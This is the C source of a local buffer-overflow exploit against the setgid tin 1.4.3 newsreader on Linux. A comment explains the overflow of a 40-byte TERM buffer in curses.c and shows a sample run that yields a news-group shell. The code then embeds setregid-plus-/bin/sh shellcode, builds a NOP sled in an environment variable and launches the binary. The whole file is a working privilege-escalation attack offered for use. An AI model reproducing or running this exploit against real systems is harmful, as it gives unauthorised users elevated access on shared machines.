/* (linux)tin[v1.4.3(stable)-] buffer overflow, by v9[v9@fakehalo.org].  this
   will give you a gid=news shell if /usr/bin/tin is setgid(=2755||=6755).  the
   buffer that is overflowed in this exploit is only 40 characters long and at
   the point of overflow it is setuid(real_uid) and setgid(real_gid).  so,
   knowing it is practially impossible if not totally impossible to set*id() and
   exec() in 40 characters of asm, i just filled that buffer with the return
   address to point to an environment variable(4096 bytes) getting placed on the
   stack.

   syntax: "./tin_bof [offset] [alignment] [group id]"
                                 or
           "./tin_bof --help" for required argument values.

   example: 
   -------------------------------------------------
   # ./tin_bof -2000 1 13
   [ tin[v1.4.3(stable)-] newsreader buffer overflow, by: v9[v9@fakehalo.org]. ]
   *** [data]: return address: 0xbffff0b0, offset: -2000, alignment: 1, gid: 13.
   *** [data]: size(eip): 73, size(buf): 4078[nops:4001].
   *** [data]: program is setgid(=2755): /usr/bin/tin.

   Reading config file...
   tin: Can't get entry for TERM
   sh-2.03$ id
   uid=1006(v9) gid=13(news) groups=100(users)
   sh-2.03$ 
   -------------------------------------------------

   note: this exploit requires that /usr/bin/tin be installed setuid(+setgid)
         from install (make install_setuid).  this exploit was only written to
         obtain the gid of news, but by install the option exists to get the uid
         of news(9 usually) too.

   info: the following segment is from curses.c[line 251]:
   -------------------------------------------------
   char the_termname[40], *p;

   if ((p = getenv ("TERM")) == (char *) 0) {
           my_fprintf (stderr, txt_no_term_set, tin_progname);
           return (FALSE);
   }
   if (strcpy (the_termname, p) == NULL) {
           my_fprintf (stderr, txt_cannot_get_term, tin_progname);
           return (FALSE);
   }
   -------------------------------------------------

   tested: slackware 3.6 and 7.0. (gid=13 obtained from setuid install)

   status: informed package maintainer, (to be) fixed in tin>=1.4.4.
*/
#include <sys/stat.h>
#define PATH "/usr/bin/tin"	// path to the tin newsreader binary.
#define DEFAULT_OFFSET -2000	// you have about 4000 bytes of guessing room :)
#define DEFAULT_ALIGN 1		// general aligment assumption.
#define DEFAULT_GID 13		// 'cat /etc/group' if you think differently.
static char exec[]=
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0\xb0\x47\xcd\x80\x31\xdb"
"\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x01";
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
 char eip[64],buf[4096]; // eip[] for the_termname and buf[] for the asmcode.
 int i,offset,align,gid;
 long ret;
 struct stat mod;
 printf("[ tin[v1.4.3(stable)-] newsreader buffer overflow, by: v9[v9@fakehalo.org]. ]\n");
 if(argv[1]&&!strcmp(argv[1],"--help")){
  printf("*** [syntax]: %s [offset] [alignment] [group id].\n",argv[0]);
  printf("*** [required]: argument alignment value must be: 0-3.\n");
  printf("*** [required]: argument group id value must be: 1-255.\n");
  exit(0);
 }
 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 if(argc>2){
  if(atoi(argv[2])>3||atoi(argv[2])<0){
   printf("*** [error]: ignored argument alignment value: %s. (use 0-3)\n",argv[2]);
   align=DEFAULT_ALIGN;
  }
  else{align=atoi(argv[2]);}
 }
 else{align=DEFAULT_ALIGN;}
 if(argc>3){
  if(atoi(argv[3])<1||atoi(argv[3])>255){
   printf("*** [error]: ignored argument gid value: %s. (use 1-255) ]\n",argv[3]);
   gid=DEFAULT_GID;
  }
  else{gid=atoi(argv[3]);}
 }
 else{gid=DEFAULT_GID;}
 ret=(pointer()-offset);
 for(i=align;i<64;i+=4){*(long *)&eip[i]=ret;}
 for(i=0;i<(4096-strlen(exec)-strlen(eip));i++){*(buf+i)=0x90;}
 exec[10]=gid;exec[22]=gid;exec[24]=gid; // fill in the group id(s).
 memcpy(buf+i,exec,strlen(exec));
 memcpy(buf,"EXEC=",5);putenv(buf); // environment variable holding shellcode.
 memcpy(eip,"TERM=",5);putenv(eip); // filled with only the eip pointer.
 printf("*** [data]: return address: 0x%lx, offset: %d, alignment: %d, gid: %d.\n",ret,offset,align,gid);
 printf("*** [data]: size(eip): %d, size(buf): %d[nops:%d].\n",strlen(eip),strlen(buf),(strlen(buf)-strlen((char *)strrchr(buf,0x90))+1));
 if(stat(PATH,&mod)){
  printf("*** [error]: could not obtain stats successfully: %s.\n",PATH);
  exit(-1);
 }
 if(mod.st_mode==34285){printf("*** [data]: program is setgid(=2755): %s.\n\n",PATH);}
 else if(mod.st_mode==36333){printf("*** [data]: program is set*id(=6755): %s.\n\n",PATH);}
 else{
  printf("*** [error]: program isn't (normal) setgid(set*id): %s. (2755||6755)\n",PATH);
  exit(-1);
 }
 if(execlp(PATH,"tin",0)){
  printf("*** [error]: could not execute successfully: %s.\n",PATH);
  exit(-1);
 }
}

